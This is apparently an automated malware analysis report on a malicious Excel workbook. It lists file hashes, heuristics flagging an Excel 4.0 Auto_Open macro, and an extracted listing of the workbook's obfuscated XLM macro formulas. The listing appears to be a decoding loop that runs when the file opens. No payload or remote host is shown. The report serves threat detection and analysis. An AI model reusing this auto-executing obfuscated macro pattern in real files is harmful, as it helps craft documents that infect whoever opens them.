Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 951b18aa4f12e235…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:42 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 5887df2e3efe39958c4d9645c8c0a840 SHA-1: 9fb4b74d4ff248a178b9451c61191e0d6f8c9159 SHA-256: 951b18aa4f12e235e11d4620e8153a4b6e3faccdf217b7723eaebbef2b6c8b33
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6731 bytes
SHA-256: b97b280a7e20b2530500563c458caeb91fc4028d6d123e0438b79f79d330b8dd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NuOXEDiE
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E187 
' 0018     21 LABEL : Cell Value, String Constant - BIeXul len=0 
' 0018     20 LABEL : Cell Value, String Constant - bOvfe len=0 
' 0018     24 LABEL : Cell Value, String Constant - DfpTQiGgy len=0 
' 0018     24 LABEL : Cell Value, String Constant - EOgoyipud len=0 
' 0018     21 LABEL : Cell Value, String Constant - FmRFhr len=0 
' 0018     21 LABEL : Cell Value, String Constant - gFixaR len=0 
' 0018     27 LABEL : Cell Value, String Constant - hmPbjPFxYVnw len=0 
' 0018     23 LABEL : Cell Value, String Constant - iyBsSjRf len=0 
' 0018     20 LABEL : Cell Value, String Constant - kStYa len=0 
' 0018     22 LABEL : Cell Value, String Constant - LeRyXBK len=0 
' 0018     21 LABEL : Cell Value, String Constant - OoCEgx len=0 
' 0018     20 LABEL : Cell Value, String Constant - plGTm len=0 
' 0018     23 LABEL : Cell Value, String Constant - QmHDSzwd len=0 
' 0018     26 LABEL : Cell Value, String Constant - qSVJgpWUYyr len=0 
' 0018     24 LABEL : Cell Value, String Constant - QWNPmvpyA len=0 
' 0018     25 LABEL : Cell Value, String Constant - tcYRnJAyjO len=0 
' 0018     21 LABEL : Cell Value, String Constant - wbSTqk len=0 
' 0018     21 LABEL : Cell Value, String Constant - WzwQol len=0 
' 0018     23 LABEL : Cell Value, String Constant - zcDesQBR len=0 
' 0018     27 LABEL : Cell Value, String Constant - zVcYHhevLeZA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NuOXEDiE,S56,"",-480.00000000000000000000
'  NuOXEDiE,S57,"",-949.00000000000000000000
'  NuOXEDiE,S58,"",699.00000000000000000000
'  NuOXEDiE,S59,"",-436.00000000000000000000
'  NuOXEDiE,S60,"",-2.00000000000000000000
'  NuOXEDiE,S61,"",-418.00000000000000000000
'  NuOXEDiE,E101,"SET.NAME("zVcYHhevLeZA",0+VALUE("0"))",""
'  NuOXEDiE,E106,"SET.NAME("WzwQol",zVcYHhevLeZA)",""
'  NuOXEDiE,E110,"SET.NAME("FmRFhr",zVcYHhevLeZA)",""
'  NuOXEDiE,E115,"SET.NAME("EOgoyipud",COUNTA(QWNPmvpyA))",""
'  NuOXEDiE,E118,"SET.NAME("hmPbjPFxYVnw",COUNTA(DfpTQiGgy))",""
'  NuOXEDiE,E123,[],""
'  NuOXEDiE,E125,"SET.NAME("plGTm","")",""
'  NuOXEDiE,E129,"WzwQol",""
'  NuOXEDiE,E133,"SET.NAME("LeRyXBK",HLOOKUP("*",QWNPmvpyA,WzwQol,FALSE))",""
'  NuOXEDiE,E135,"iyBsSjRf",""
'  NuOXEDiE,E137,"SET.NAME("qSVJgpWUYyr",zVcYHhevLeZA)",""
'  NuOXEDiE,E140,[],""
'  NuOXEDiE,E142,"qSVJgpWUYyr",""
'  NuOXEDiE,E144,"OoCEgx",""
'  NuOXEDiE,E146,"bOvfe",""
'  NuOXEDiE,E151,"tcYRnJAyjO",""
'  NuOXEDiE,E155,"SET.NAME("kStYa",VALUE(HLOOKUP("*",DfpTQiGgy,tcYRnJAyjO,FALSE)))",""
'  NuOXEDiE,E158,"QmHDSzwd",""
'  NuOXEDiE,E160,"plGTm",""
'  NuOXEDiE,E165,"FmRFhr",""
'  NuOXEDiE,E168,NEXT(),""
'  NuOXEDiE,E171,"wbSTqk",""
'  NuOXEDiE,E173,[],""
'  NuOXEDiE,E178,"zcDesQBR",""
'  NuOXEDiE,E180,NEXT(),""
'  NuOXEDiE,E183,RETURN(),""
'  NuOXEDiE,E209,"SET.NAME("gFixaR",E101)",""
'  NuOXEDiE,E214,"QWNPmvpyA",""
'  NuOXEDiE,E219,"SET.NAME("DfpTQiGgy",R48C14)",""
'  NuOXEDiE,E223,"SET.NAME("zcDesQBR",233)",""
'  NuOXEDiE,E227,"SET.NAME("BIeXul",5)",""
'  NuOXEDiE,E232,gFixaR(),""
'  NuOXEDiE,E233,HALT(),""

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